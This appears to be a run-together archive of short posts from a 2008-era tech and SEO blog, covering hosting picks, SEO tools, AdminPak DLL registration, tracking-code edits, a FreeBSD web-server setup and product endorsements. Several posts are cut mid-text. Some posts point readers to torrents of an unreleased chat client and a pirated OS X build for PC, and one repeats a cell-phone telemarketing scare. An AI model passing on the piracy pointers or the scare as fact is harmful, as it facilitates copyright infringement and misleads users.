Content baiting has proven to be a fantastic way to kick start the growth of many types of sites. One very important part to this technique is how you communicate to the potential content providers and link providers. If you really feel there will be a mutually beneficial connection then say that, let them know how you like their site and how you would love to give back to them for making you laugh, teaching you or getting you a better deal on your insurance. Ask them for their help and give them yours, people will respect you if your honest and sincere.

Good luck and please let me know if you’ve used content baiting, I would love to hear your hit and miss stories.

Equitable Sotheby’s International Realty is owned by John N. Vatistas, who is now co-owner and co-chairman of Russ Lyon Sotheby’s International Realty. His firm’s chief executive officer and designated broker, Dominic Scappaticci, will serve in the same capacity for the new company. Russ Lyon Realty Company’s Jim Lyon succeeds his father, Dennis Lyon, and is now co-owner and co-chairman of the new company. Todd Gillenwater, Russ Lyon’s current designated broker for its Northern Arizona operations, will serve as president.

ABOUT EQUITABLE SOTHEBY’S INTERNATIONAL REALTY
Equitable Sotheby’s International Realty was founded as Equitable Real Estate by John Vatistas in 2005 and quickly grew to become a significant force in the luxury resort corridor extending from Scottsdale and Paradise Valley north to North Scottsdale, Carefree and Cave Creek. It drew national press in October 2007, when it became the first Arizona real estate firm to become an affiliate of Sotheby’s International Realty.

ABOUT RUSS LYON REALTY COMPANY
Russ Lyon Realty Company has evolved from its beginnings in 1947, when it was founded by Russ Lyon, Sr., into a state-wide professional real estate company operating 10 offices in the Valley as well as four independently owned and operated franchises in Prescott, Sedona and Flagstaff, with total Company revenues exceeding $1.9 billion. More than 650 licensed sales associates provide real estate transactional services to more than 4,000 clients.

Dennis Lyon, son of Russell Lyon, Sr. and residing CEO of Russ Lyon Realty Company, attributes the company’s success to the sales associates’ utmost professionalism. He is succeeded by his son, Jim Lyon, who now represents the third generation of Lyons.

ABOUT SOTHEBY’S INTERNATIONAL REALTY AFFILIATES LLC
Founded in 1976 to provide independent brokerages with a powerful marketing and referral program for luxury listings, the Sotheby’s International Realty network was designed to connect the finest independent real estate companies to the most prestigious clientele in the world. In February 2004, Realogy Corporation, a global provider of real estate and relocation services, entered into a long-term strategic alliance with Sotheby’s, the operator of the auction house. The agreement provided for the licensing of the Sotheby’s International Realty name and the development of a full franchise system by Realogy’s subsidiary, Sotheby’s International Realty Affiliates LLC. Affiliations in the system are granted only to brokerages and individuals meeting strict qualifications.

Sotheby’s International Realty Affiliates LLC supports its affiliates with a host of operational, marketing, recruiting, educational and business development resources. Franchise affiliates also benefit from an association with the venerable Sotheby’s auction house, established in 1744.

External Links:

Equitable Sotheby’s International Realty

Russ Lyon Realty

Sotheby’s International Realty

After a few hours I had received quotes from 7 different auto insurance companies and all of them were right around the same price except for one, Electric Insurance. Electric Insurance quoted me more than 50% less than what I currently pay with Progressive and almost 45% lower than everyone else for the exact same coverage!!

The Electric Insurance Company is a national writer of personal insurance products including auto, homeowners, renters, condo and umbrella. They were established in 1966 to serve the needs of General Electric employees and have since expanded their offerings to the general public.

You all know my blog is about technology and internet marketing and I never post anything else but I just had to write about this; 50% savings on my auto insurance is HUGE and I definitely want to let everyone know.

Next time your shopping auto insurance you better make sure to check Electric Insurance, you won’t be sorry.

Click here to receive a quote from Electric Insurance

Managed Dedicated Servers
FreeBSD & Linux Servers: Choopa
Windows Servers: Rackspace, LanLogic

Unmanaged Dedicated Servers
FreeBSD & Linux: Limelight, Servers for Less, WebAir
Windows Servers: ServerBeach, Limelight

Colocation Facility
Limelight, Cave Creek Hosting

Virtual (Shared) Servers
WebAir, ATCI Hosting

Exchange Servers
LanLogic, Rackspace

Game Servers
Dedicated & Shared: GameServers

Thats it! Simple and to the point. I hope this list helps you in your desicion for choosing a web host. None of the web host links I provide above are affiliate or partner links, I do not make a penny if you sign up. Just remember me when your adding links to your website.. WWW.PETER-V.COM!!!!   LOL!

BTW, I want to hear what you think about these hosts as well as who you host with and why you like/dislike them.

Good luck!

Trixbox CE is the most flexible PBX system available today and best of all its FREE. Trixbox CE is an open telephony platform that combines the best of the open source telephony tools into one easy-to-install package. Based on an enhanced LAAMP (an open source bundle of Linux^®, Apache™, Asterisk^®, mySQL^®, and PHP), the Trixbox^® dashboard provides easy to use, Web-based interfaces to setup, manage, maintain, and support a complete IP-PBX system.

Trixbox CE 2.4 comes stocked with hundreds of features including:

• Unlimited Extensions
• TDM/SIP/IAX Trunks
• Remote Extensions
• Voicemail
• Fax Support
• Voicemail to Email
• IVR Menu System
• Ring Groups
• Call Queues
• Conference Rooms
• Follow-Me
• Time-Based Routing
• Music On Hold
• Paging and Intercom
• Web Access to Voicemail
• Admin Status Screen
• Package Manager (for easy updates)
• Phone Provisioning Tool
• Network Settings Tool
• Enhanced CDR Reports
• Echo Cancellation – OSLEC (Open Source Line Echo Cancelation)

Trixbox CE 2.4 is based off of:

• CentOS 5.1 kernel
• Asterisk 1.4
• FreePBX 2.3
• Web MeetMe 3

Best part about Trixbox CE is many Aastra, Polycom and Cisco VOIP phones are compatible! Here are some screenshots of the Trixbox CE 2.4 administrative interface:

Trixbox Links:

Trixbox Certified IP Phones

Trixbox Certified Servers and Interface Cards

Click here to download Trixbox CE

For the official statement and more information please refer to the Ubuntu Live webpage.

Unconfirmed Microsoft Windows 7 Screenshots – Microsoft plans the release of Windows 7 in 2010. The part that makes me laugh about this is Windows 7 development should be Microsoft’s last concern… Vista doesn’t even work right and application coders are still hesitant to adopt it.

Apple is definitely earning more market share each and every day; Microsoft is obviously trying to follow in Apple’s footsteps by releasing operating systems every couple years. The only difference between Apple and Microsoft is OS X Leopard works perfectly, even on my HP Laptop, Dell XPS, and Dell Dimension! I have yet to see any machine run Vista flawlessly.

Within the last three weeks I’ve received over 150 requests for what tools and/or applications I use specifically for search engine optimization. Below you will find my list of tools, applications and services I use on a regular basis, I hope this information helps and keep the questions coming if they don’t! :)

Analytics:

Google Analytics
Omniture SiteCatalyst
Web CEO’s HitLense
StatsCounter

Keyword Research Tools:

WordTracker
Google AdWords Keyword Suggestion Tool
Microsoft Ad Intelligence (Excel 2007 Plug in)
Web CEO
SEOBook Keyword Suggestion Tool
SEO for Firefox

Link Analysis Tools:

SEOElite
Web CEO
SEO for Firefox

Competitive Research Tools:

HitWise
Alexa
Compete
SpyFu
Quantcast
DomainTools

SERP Rank Research & Reporting:

Web CEO
SEOBook Rank Checker
Rank Tracker
Free Monitor for Google

SEO Web Browser Tools:

The Best SEO Plug-ins for Firefox

If you have suggestions on SEO tools please comment on this post, I’m always looking for tools to save me time and headaches!

Windows Server 2003 Service Pack 1 Administration Tools Pack

Windows Server 2003 R2 Administration Tools Pack

Once installed you’ll need to register the DLLs for AdminPak to run properly; why Microsoft hasn’t written AdminPak for Windows Vista blows my mind but I digress. Here’s the play by play:

Start > All Programs > Accessories > Right-Click Command Prompt and select Run as Administrator.

Copy the list below and paste it into the command prompt windows:

regsvr32 /s adprop.dll
regsvr32 /s azroles.dll
regsvr32 /s azroleui.dll
regsvr32 /s ccfg95.dll
regsvr32 /s certadm.dll
regsvr32 /s certmmc.dll
regsvr32 /s certpdef.dll
regsvr32 /s certtmpl.dll
regsvr32 /s certxds.dll
regsvr32 /s cladmwiz.dll
regsvr32 /s clcfgsrv.dll
regsvr32 /s clnetrex.dll
regsvr32 /s cluadmex.dll
regsvr32 /s cluadmmc.dll
regsvr32 /s cmproxy.dll
regsvr32 /s cmroute.dll
regsvr32 /s cmutoa.dll
regsvr32 /s cnet16.dll
regsvr32 /s debugex.dll
regsvr32 /s dfscore.dll
regsvr32 /s dfsgui.dll
regsvr32 /s dhcpsnap.dll
regsvr32 /s dnsmgr.dll
regsvr32 /s domadmin.dll
regsvr32 /s dsadmin.dll
regsvr32 /s dsuiwiz.dll
regsvr32 /s imadmui.dll
regsvr32 /s lrwizdll.dll
regsvr32 /s mprsnap.dll
regsvr32 /s msclus.dll
regsvr32 /s mstsmhst.dll
regsvr32 /s mstsmmc.dll
regsvr32 /s nntpadm.dll
regsvr32 /s nntpapi.dll
regsvr32 /s nntpsnap.dll
regsvr32 /s ntdsbsrv.dll
regsvr32 /s ntfrsapi.dll
regsvr32 /s rasuser.dll
regsvr32 /s rigpsnap.dll
regsvr32 /s rsadmin.dll
regsvr32 /s rscommon.dll
regsvr32 /s rsconn.dll
regsvr32 /s rsengps.dll
regsvr32 /s rsjob.dll
regsvr32 /s rsservps.dll
regsvr32 /s rsshell.dll
regsvr32 /s rssubps.dll
regsvr32 /s rtrfiltr.dll
regsvr32 /s schmmgmt.dll
regsvr32 /s tapisnap.dll
regsvr32 /s tsuserex.dll
regsvr32 /s uddi.mmc.dll
regsvr32 /s vsstskex.dll
regsvr32 /s w95inf16.dll
regsvr32 /s w95inf32.dll
regsvr32 /s winsevnt.dll
regsvr32 /s winsmon.dll
regsvr32 /s winsrpc.dll
regsvr32 /s winssnap.dll
regsvr32 /s ws03res.dll

Thats it! Just exit command prompt and AdminPak should now be fully operational within Windows Vista.

Just passing it on… :)

* Peer to peer ratings and reviews for schools, lenders and much more.
* Talk to students, teachers, parents and industry experts.
* Articles related to higher education and financial aid.
* Blogs, forums, videos galleries, image galleries and of course friends!

Lots of tools can be found at TuitionU like the following:

* Student Loan Comparison
* Private Student Loan Calculators
* Student Loan Calculators
* College Cost Estimator
* Private Student Loan Payment Calculator
* Expecting Family Contributing Estimator
* Planning and Budgeting for College Calculator

I am really fascinated by this higher ed community because you find real information and advice from all sides of the industry. Parents can talk to parents about their children’s school, loans, teachers or even get insight from other students and industry professionals. Students can talk to students, parents, even schools and lenders about their options and needs for higher education.

TuitionU is a win-win for anyone looking to learn more about all aspects of higher education and because TuitionU is non-bias, you’ll always get the best answer – not a sales pitch. Where else can you rate your lender or teacher and know for sure its not a marketing team boosting the numbers? No where!!

Check out TuitionU and see for yourself how this community is really making a difference for everyone.

I’ve compiled a few quality links about the Windows XP SP3 as well as download information below. As with all my posts please feel free to post your comments (good or bad), I’m interested to hear what your opinions on the new service pack!

Windows XP Service Pack 3 Resources

• Windows XP Service Pack 3: What is new and how to deploy
  This white paper summarizes what is new in Windows XP SP3, and how to deploy the service pack.
• Windows XP Service Pack 3 Release Notes
• Installing Windows XP Service Pack 3
• Windows XP Service Pack 3 Forum
• Windows XP Solution Center

Get Windows XP Service Pack 3

TechNet Subscribers:

• Windows XP Service Pack 3 stand-alone version
  Top Subscriber Downloads section
• Windows XP Service Pack 3 Integrated Builds now available
  Arabic, Chinese Simplified, Chinese Traditional (Hong Kong), Chinese Traditional (Taiwan), Czech, Danish, Dutch, English,Finnish, French, German, Italian, Japanese, Korean, Polish, Portuguese (Brazil), Russian, Spanish, and Swedish.

Non-TechNet Subscribers:

Windows XP SP3 is now available to non-subscribers:

• Windows Update
  We recommend customers use Windows Update to install the service pack, as it will provide the best experience.
• Microsoft Download Center
• SMS Template Files for Windows XP Service Pack 3 Deployment
• Windows XP Service Pack 3 stand-alone version
• Windows XP Service Pack 3 Checked Build Network Installation Package
• Windows XP Service Pack 3 MUI Pack Update
• Windows XP Service Pack 3 CD Image

Good luck and of course backup your important files before making any OS upgrade – I cannot tell you how easy it is to lose everything in a split second.

First let’s take the original code generated by HitLense:

<!–WEBSITECEO:BEGIN:{764EEF2E-BC11-45CF-8627-300CE1BA2219}–>

<!–
Do NOT modify this script to avoid traffic misrepresentation!
Web CEO 4 0300/1
Code initially inserted into: “index.aspx”.
–>
<script type=”text/javascript”><!–
// hitlens v1.2.7
function hitlens_embedded() {
var id = 123456;
var pc = 0;
var PAGENAME = escape(”);
var CONTENTGROUP = escape(”);
var TRANSACTION = escape(”);
var TRANSACTION_ID = 0;
var ORDER = escape(”);
return “id=”+id+”&pc=”+pc+”&p=”+PAGENAME+”&gr=”+CONTENTGROUP+”&tr=”
+TRANSACTION+”&trid=”+TRANSACTION_ID+”&ord=”+ORDER;
}
//–></script>
<script type=”text/javascript” src=”/webceo.js”></script>
<!–WEBSITECEO:END:{764EEF2E-BC11-45CF-8627-300CE1BA2219}–>

Now lets add a quick line of code to the var PAGENAME = variable:

var PAGENAME = document.title;

What this will do is pull the page’s title and post it in HitLense.

The default tracking code HitLense generates also throws in the following comment that needs to be removed completely:

<!–
Do NOT modify this script to avoid traffic misrepresentation!
Web CEO 4 0300/1
Code initially inserted into: “index.aspx”.
–>

Also make sure to leave the var pc = 0; at 0. The var pc is a unique page identifier, if you use specialized tracking (like above) instead of the wizard-driven setup then you’ll definitely need to keep it at 0 or your going to run into some problems.

Your final tracking code should look like this:

<!–WEBSITECEO:BEGIN:{764EEF2E-BC11-45CF-8627-300CE1BA2219}–>
<script type=”text/javascript”><!–
// hitlens v1.2.7
function hitlens_embedded() {
var id = 123456;
var pc = 0;
var PAGENAME = document.title;
var CONTENTGROUP = escape(”);
var TRANSACTION = escape(”);
var TRANSACTION_ID = 0;
var ORDER = escape(”);
return “id=”+id+”&pc=”+pc+”&p=”+PAGENAME+”&gr=”+CONTENTGROUP+”&tr=”
+TRANSACTION+”&trid=”+TRANSACTION_ID+”&ord=”+ORDER;
}
//–></script>
<script type=”text/javascript” src=”/webceo.js”></script>
<!–WEBSITECEO:END:{764EEF2E-BC11-45CF-8627-300CE1BA2219}–>

Good luck!

While Google’s spider “crawled” the whatsmyip.org site it managed to record it’s own IP in the title and publish it in the Google SERPS. Funny stuff.

The IT Advisory Council is a select group of IT Professionals and Developers, which purpose is to share your views, ideas and opinions, helping Microsoft shape future initiatives. As a member, you play an integral part in providing the ITAC and Microsoft with feedback on Microsoft customer offerings, licensing, support, marketing materials and community initiatives.

Members communicate with each other via an online portal and a program of face-to-face and online events. Each event is currently limited to 12 members to ensure rich discussion and members will be eligible to participate based on a point-system in the portal. Membership also involves completing a monthly online ‘task’, which can be completing a mini-survey or sharing member experiences on the portal forums and blogs to help Microsoft understand what it’s like to be in Microsoft “expert” shoes.

The ITAC is a locked community meaning that just not anyone can join and participate. The ITAC offers an application process for anyone interested to join. After you complete the application process your information is reviewed by a board of administrators and moderators and you are notified within a week whether your accepted.

Give it a shot, apply to the Microsoft IT Advisory Council and help make a difference!

I met a lot of smart people and a few key developers (which I have been looking for). All in all this was a great event and the schwag just rocked! Attending Hero’s happen {here} gets you Microsoft Windows Server 2008 Enterprise, Microsoft SQL Server 2008, Microsoft Visual Studio 2008 and Microsoft Windows Vista Ultimate!! Thank you Microsoft!!

If your ready to play with Trillian Astra but don’t want to wait forever for Cerulean Studio’s to release it or approve you to become a beta tester then click here to download the torrent.

After install you’ll find that Trillian Astra won’t connect so here’s a quick and easy work around:

1.First of all you’ll need to create a username in trillian astra inside the client.

2.Now when you try to connect it won’t connect right? Exit out of trillian

3.Go to this directory: C:\Document and Settings\YourName\Application Data\Trillian\users\(your username)

4.Find the file ASTRA-(your username).ini and open it in notepad.

5. You’ll see a line that says prefsConnectionSettingsServerPort=3158

6. Change the number from 3158 to 4444

7.Now save the file and try logging on in trillian

Good luck!

I’ll be turning off my lights tonight, will you?

Click here to go to the Google Earth Hour page.

Vista 32bit SP1 Update

One feature I love about OpenDNS is how I can globally set shortcuts to use a short word for a long address. There’s nothing to install and it works how you want it to, no matter which browser you’re using. Add, remove or change your OpenDNS shortcuts at any time.

OpenDNS provides you with the tools to see what’s happening on your network, coupled with the tools to take action. For example, discover that myspace.com is the most frequently visited site on your network, and then block it with a single click.

“Free yourself of DNS-related Internet outages with our zero-downtime global network. Eliminate DNS as a problem source on your network. Using OpenDNS means fewer support calls and headaches, letting you focus on more important issues.” 

Click here to read more and sign up for OpenDNS.

Some new features SP3 adds to Windows XP:

* Black Hole Router Detection
* Network Access Protection (NAP)
* Descriptive Security Options User Interface
* Enhanced security for Administrator and Service policy entries
* Microsoft Kernel Mode Cryptographic Module
* Windows Product Activation (Now users can install Windows XP without entering a product key, much like Vista)

Click here to download Windows XP SP3 RC2

Click here to read details about Windows XP SP3 RC2

MacDrive gives you access to all your Mac-formatted disks from Windows and even the Mac partition. You can access files on the Mac disk just like you would with a Windows formatted disk. Open files from the disk or from within a program. Mac files automatically get the right icons and file name extensions under both Windows and Mac OS.

Click here to read more and download

• Internet Explorer 8 Beta 1: Microsoft unveiled for the first time Internet Explorer 8, showcasing Internet Explorer’s commitment to developers. Internet Explorer 8 offers an unprecedented level of interoperability and tools, enabling developers to be more productive while delivering innovative experiences for end users on the Web. Internet Explorer 8 beta 1 for developers, released today, provides the most extensive support for Internet standards of any Microsoft browser and reduces the amount of time required to bring new experiences online.
• Silverlight 2 Beta: Silverlight 2 supports managed code, includes the core of the Common Language Runtime and adds over two dozen user interface controls (such as Button, CheckBox, Date controls, GridView and Layout) that are designed to be used right out of the box, or to be tweaked with styles. If you need full control over the look and feel, the appearance of any control can be fully determined by templates and control behavior can be modified by hooking events, or ultimately by creating custom controls.
• Expression Studio 2 Beta: Expression Studio 2 works seamlessly with Visual Studio to enable better designer and developer collaboration. New features include PHP support in Expression Web, and support for Silverlight in Expression Web, Expression Blend, Expression Media Encoder and Expression Design.
• SQL Server Data Services: Microsoft announced a preview of SQL Server Data Services, a building block service designed for developers and businesses that need scalable, easily programmable and cost-effective data storage with robust database query capabilities. MIX08 attendees will be able to register for an invitation-only beta of Microsoft SQL Server Data Services.

As we started work on IE8, we thought that the same thing would happen in the short term: when a site hands IE8 content and asks for Standards mode, that content would expect IE7’s Standards mode and not appear or function correctly.

In other words, the technical challenge here is how can IE determine whether a site’s content expects IE8’s Standards mode or IE7’s Standards mode? Given how many sites offer IE very different content today, which should IE8 default to?

Our initial thinking for IE8 involved showing pages requesting “Standards” mode in an IE7’s “Standards” mode, and requiring developers to ask for IE8’s actual “Standards” mode separately. We made this decision, informed by discussions with some leading web experts, with compatibility at the top of mind.

In light of the Interoperability Principles, as well as feedback from the community, we’re choosing differently. Now, IE8 will show pages requesting “Standards” mode in IE8’s Standards mode. Developers who want their pages shown using IE8’s “IE7 Standards mode” will need to request that explicitly (using the http header/meta tag approach described here).”

I think it is about time the Internet Explorer team over at Microsoft is listening, Mozilla has been listening for years. I still prefer Firefox over IE for two simple reasons:

1. Add-ons. Mozilla’s Firefox has a very strong following and there are a ton of awesome add-ons available.

2. Security. I’ve never had one issue with security using Mozilla Firefox. One of my websites was hacked some months ago and BS javascript was added. I never noticed it nor had any issues because I was using Firefox 2. One day I decided to check how my site looked in IE7 and WHAM – pop-ups, browser crashes, and a few new programs were installed on my computer (not to mention all the stupid viruses).

I am kind of excited to see what Microsoft pulls out of their hats on IE8 – they always seem to surprise me.

Read more here. 

The Atom (formerly called “Silverthorne”) and the Atom Centrino (formerly called “Menlow”) are based on an entirely new micro-architecture designed specifically for small (Intel Atom’s measure 25 mm², making it Intel’s smallest and lowest power processor yet), low power devices while maintaining the Intel Core 2 Duo instruction set compatibility consumers are accustomed to and includes support for multiple threads (better performance and increased system responsiveness).

Here is an image of the new killer processor:

Click here to read more on the new Intel Atom

…..YOU WILL BE CHARGED FOR THESE CALLS

To prevent this, call the following number from your cell phone:

888-382-1222 – National DO NOT CALL list.

It will only take a minute of your time and it blocks your cell phone number for five (5) years. You must call from the cell phone number you want to have blocked. You cannot call from a different phone number.

Do it now and save yourself from annoying sales calls and paying for the minutes to listen to their sales pitch.

Now just so you know, at one time or another my backup drives were working properly and when I needed to restore any data it was not that hard. For some reason my main backup drive had failed and then data was lost but fortunately for me I still had everything on my main drives. That got me thinking, what is the best and easiest solution out there for backing up my data without worrying about replacing hard drives or making sure everything is running properly. I am an IT guy by day, I don’t want to be an IT guy at home.

A few hours later I found the solution I was looking for and it was a bit overwhelming. I posted my question for a remote backup solutions in many forums, blogs, as well as emailing my IT friends and colleagues; almost everyone said “Mozy“. So I went to the Mozy website and signed up for their MozyHome Free account, 2GB’s of storage! Here is a few features Mozy offers to all their customers, free and paid:

* Open/locked file support: Mozy will back up your documents whether they’re open or closed.
* 128-bit SSL encryption: The same technology used by banks secures your data during the backup process.
* 448-bit Blowfish encryption: Secures your files while in storage, providing peace of mind that your private data is safe from hackers.
* Automatic: Schedule the times to back up and MozyHome does the rest.
* New and changed file detection: MozyHome finds and saves the smallest changes.
* Backs up Outlook files: Disaster-proof email protection.
* Block-level incremental backup: After the initial backup, MozyHome only backs up files that have been added or changed, making subsequent backups lightning fast.
* MozyHome currently supports Windows 2000, XP, and Vista, and Mac OS X 10.4
* MozyPro supports Windows 2000, 2003, XP, and Vista.

Those are some pretty slick services and support for no up front or monthly charges. Whats really cool is their software that is installed on your computer. The application itself runs in the background and has a very small footprint with regards to your memory (RAM) and CPU utilization. Another cool feature is how you can set the amount of bandwidth you want it to use during backups. Because I have a cable modem I set that puppy as high as it can go but for anyone out there who has DSL or less you can throttle it to whatever you need.

Whether your looking for a backup solution or not, Mozy is the only free, full-featured remote backup service. Get peace of mind – click here to try Mozy today.

1. In Firefox, type about:config in the address bar.
2. Scroll down to dom.disable_window_open_feature.resizable and double-click it (changes to bold and value changes to true.)
3. Done. Just restart Firefox and have endless ability to resize all popup windows. Wow.

Become an expert in SEO quickly and easily:

* Web CEO software package consisting of 12 potent tools to organize your efforts
* Professional Training Course in Search Engine Marketing to learn all the best practices

Web CEO is a full-range search engine optimization software with advanced site troubleshooting and web analytics functionality. Here are a few facts about Web CEO:

The choice of 440,000+ businesses.
Web CEO stands on guard of the rankings of IBM and Motorola. These companies have no right to make mistakes. What about you?

Simple and user-friendly.
Packed with powerful features, Web CEO still can boast an ultra user-friendly interface that turns a novice into an SEO expert right away after installation.

Completely Safe.
Employing Google API and cutting-edge human emulation techniques, Web CEO makes the optimization process absolutely safe for you and your site. Some of the important tools you will find in the package will help you:

* Get suggestions for new keywords relevant to your business and research your own keywords
* Get optimization advice and tweak your Web pages in friendly editing environment
* Create link partnerships
* Keep track of your site’s rankings and links
* Get comprehensive real-time visitor reports

I’m sure your looking at this like I just wrote a sales pitch but if you’ve read my blog before you’ll know I don’t sell a damn thing. In addition to that fact – WebCEO is free! Just download, install and get your rank on.

Download the free edition of Web CEO and get access to the Training Course now!

In addition to Web CEO’s awesome application and training program I totally recommend that you grab the latest copy of SEO Book by Aaron Wall. It doesn’t matter how much you know about search engine optimization/marketing, SEO Book is by far one of the best (if not THE BEST) reference and training materials available today.

That. Just. Happened.

nLite allowed me to configure my Microsoft Windows install CD by adding drivers and applications. I downloaded my laptop’s sata controller driver from Compaq’s website and added it and to the driver configuration portion of nLite as well as selecting “Bootable ISO”. After a couple minutes I had a new bootable Windows XP installation CD and no more missing hard disk error.

From what I found this error is quite normal for people that have sata hard drives, who have installed Microsoft Windows Vista and decided to downgrade back to Microsoft Windows XP.

Click Here Download nLite

Dell Drivers | HP Drivers | Compaq Drivers | Gateway Drivers | Sony Drivers | Asus | Toshiba

To fix this you’ll need to determine the device’s track the volume is actually adjusted on; by default I notice this is set to headphone and from my experience the correct one usually is PCM.

Open the volume control and press the volume up/down buttons to see which level moves. Once you’ve found the correct track (whether is be PCM or PCM2) you need to set it from within the sound preferences menu.

Go to system > preferences > sound and look at the bottom of the device tab. Select the correct track here and test; everything should now work properly.

I chose to migrate everything from my Office Live account (email, calendar, chat) to Google Apps (email, chat, calendar, docs) and host my domain at GoDaddy. I quickly found that the reference material available to do such a migration was non-existent and I had to find my own way. Now that I know exactly how to do it and have successfully done so several times, here is my step-by-step on how to cancel Office Live and transfer your domain to another registrar.

First off, go to here and fill out the information to receive your cancellation email with domain registration key.

1. Now go to http://www.melbourneit.com.au/cc/godirect/
2. Enter your domain name and registry key and click on continue.
3. Click on ‘create a new account’ below the text box where you are prompted for my account password.
a)     Fill up all the information needed:
i)      Contact Information
ii)     Login Information
b)     Other Information:
i)      The Country Code is “1″ for United States (for UK it is 44)
ii)     The email address you enter must not be related to the domain you are attempting to transfer/manage.
4)     After filling up all the information, check the box that says I have read and understood the Sign up Terms and Conditions. I agree to abide by the terms and conditions, as stated there in.
5)     Click Create.  Now your account is created.
6)     On the My Account Console page, click Logout on the right side of the page.
7)     Now you will be redirected to the Melbourne IT web site.
8)     Click Manage Domain Name on the right side of the page.
9)     Type your domain and registry key.
10)  Click Enter Management.
11)  Click Transfer management to Melbourne IT.
12)  Sign in using the username and password for your Melbourne IT account using the username and password, which you created for your Melbourne IT account.
13)  Click Continue after you have verified all the information on the page.
14)  Click on My Account console.
15)  Click on the link “View/Manage domain name” under the Domain Names.
16)  Click on your domain name (customer domain name) under the Domain Name section.
17)  Click on the Unlock Domain Name.
18)  To change name server, click on Change Delegation Details under Name Server Details on the right side of the page. Here, you can change the domain name server settings for your new service provider.
19)  To obtain new authorization code in order to transfer your domain, click Retrieve Domain Name (auth info) Password (on the same page on point 17).

Now you have all the necessary information and your domain is unlocked and ready for transfer. Log into your favorite domain registrar and begin the transfer with the credentials provided using the steps above.

From here I transfered my domain to GoDaddy which took about 2 or 3 business days; when the transfer was complete I pointed all my cname & mx records to Google’s names servers. Since then I have never been happier with my email solution and full online office experience.

Good luck!

So how did I install OS X Leopard on my PC? Simple: iATKOS v1.0i

Do a quick search using your favorite torrent search portal for “iATKOS v1.0i” , download it, burn to DVD, pop that puppy into your test computer’s DVD drive and reboot**. During the install process there are a few extra steps so I will list what you need to do below:

# When the Welcome screen pops up click Continue

1. At the Terms & Conditions screen do not click Agree yet, click Utilities on the Apple bar at the top of your screen and then select Disk Utility from the drop down menu (Utilities > Disk Utility).

2. Select your hard drive’s partition on the left hand side then select the Erase tab on the right.

3. Now click the Erase button on the bottom right and click Erase again on the pop-up. When this is complete close the Disk Utility.

4. Now go back up to the Apple menu bar and select Utilities > Darwin_Boot

5. Type Y (yes) to continue, 1 for your HDD number (if your using the main HDD), and 1 again for the partition number OS X will be installed on (if your installing on a different partition enter that partition number instead of 1).

6. Type Y (yes) to install boot efi and type Y (yes) again to confirm. Once it this process in complete it will display [process completed] and you can now exit out of Darwin_boot.

7. Please read the Terms & Conditions for iATKOS v1.0i and click Agree (if you agree).

8. Now your ready to install OS X Leopard on your PC, just follow the on screen guide and your good to go!

Best of luck!

** I will not be held liable for any damage that results from this tutorial. If you attempt to install OS X Leopard (iATKOS v1.0i) onto your computer it is at your own risk.

UPDATE (July 20th, 2009): iATKOS v7 has been released, click to learn more!

Arizona Internet Marketing

So, how do you burn an .iso image to a CD or DVD in OS X?

Insert the CD/DVD into your Mac, locate your .ISO image and follow these very easy steps:

Go to Finder > Applications > Utilities and run Disk Utility (Disk Utility.app)

In Disk Utility, go to File > Open Disk Image and select the .ISO you want to burn to disc

Now click Burn

Thats it! Now you should see a little box pop up with the status of your ISO image being written to the disc.

* Web Installer: http://get.communityserver.org/download/cs2008b1web
* Windows Installer: http://get.communityserver.org/download/cs2008b1msi
* Upgrade Tool: http://get.communityserver.org/download/cs2008b1up

Below is a brief list of what you’ll find in this Beta:

* Groups. We’ve added support for private and public groups that support their own membership, blog, forum, gallery, and pages. You can now easily create mini-communities for friends or for your team.

* Web Services APIs. Community Server 2008 includes a complete Web Services layer for working with Community Server. This makes it even easier to share data from within Community Server with other applications or tools. The Web Services implementation is a RESTful implementation and we also include a client library to include within applications that need to talk to Community Server.

* Friends. We’ve completely overhauled the friends functionality to make it easier to both manage and add friends. You’ll find the friends behavior much more like FaceBook’s friend functionality.

* Media Gallery. We’ve merged the Photo/File Galleries into a single Media Gallery application. The Media Gallery includes viewers for rendering images, audio, video making it even easier to share content in your community.

* Message Streams. New to Community Server is a message stream application that enables multi-user conversations (formerly private messages), social streams (similar to FaceBook), profile comments, and more.

* Enterprise File Storage. We’ve completely overhauled file storage so all files are in a Centralized File Store (includes both a File System and Amazon S3 provider).

* Widgets. Community Server now support shareable widgets in all sidebars.

* Simplified Permissions. We’ve tried to simplify the rich permissions functionality that Community Server has always been known for. All the previous permissions capabilities still exist, but we’ve added some tools to make it even easier to manage and apply permissions.

* User Experience. We’ve started to introduce some new user experiences in both the Control Panel and other aspects of the site. When Community Server 2008 ships you’ll find a much friendly and beautiful experience for both running and managing your community.

Many, many additional new features, performance improvements, and bug fixes.

Before I install anything I always make sure I have the latest release of FreeBSD installed with the Developer distribution. Many tutorials out there tell you to install the bare minimum of FreeBSD with the “Minimum” distro, I recommend Developer. If you need a good step by step on how to install FreeBSD (6.2 & 6.3) then click here. Remember, instead of selecting the minimal option on the Distributions screen, choose Developer.

Once you have FreeBSD installed the steps below will show you how to setup and configure a full FAMP server. Good luck!

# cd /usr/ports/lang/php5
# make config
select: Apache
# make install

# cd /usr/ports/lang/php5-extensions
# make config
select: bcmath, bz2, ctype, curl, dom, ftp, gd, gettext, mbstring, mysql, pcre, posix, pdo, session, simplexml, sqlite, xml, zlib (also by default there are many options pre-selected including some of the ones listed here, make sure to leave those checked).
# make install

Usually after everything is done you will notice a few mysql errors appear, run this command:

# pkg_add -r mysql50-server

Now before editing any file on my system I always make a backup of it:
# cp /usr/local/etc/apache/httpd.conf /usr/local/etc/apache/httpd.conf.orig

Now let’s edit your Apache config file to get everything configured properly:
# edit /usr/local/etc/apache/httpd.conf

Change the default listen address to the IP address of your webserver.

#Listen 12.34.56.78:80
To:
#Listen 192.168.1.10:80 (example, use your machines IP Address)

Change the email address of the ServerAdmin to your email address or the address of the person in charge on this server:

#ServerAdmin you@your.address (use your email address)

Change the ServerName option, if you don’t have a fully qualified domain name please change this to the servers IP address:

#ServerName www.example.com
To:
#ServerName 192.168.1.10 (example, use your machines IP Address – for internal, intranet implementations)
Or:
#ServerName www.peter-v.com (example, use your domain name if you have one and your going to point DNS to that machine)

# Add a DirectoryIndex option:
DirectoryIndex index.php index.html index.htm index.php3 index.php4

# In the AddType section add the following for PHP:
AddType application/x-httpd-php .php .htm .html
AddType application/x-httpd-php-source .phps

Now exit and save, your all done with Apache.

# echo ‘/usr/local/sbin/apachectl start’ >> /etc/rc.local

Now let’s configure MySQL:

# cp /usr/local/share/mysql/my-medium.cnf /etc/my.cnf
# echo ‘mysql_enable=”YES”‘ >> /etc/rc.conf

# /usr/local/bin/mysql_install_db
# chown -R mysql:mysql /var/db/mysql
# /usr/local/share/mysql/mysql.server start

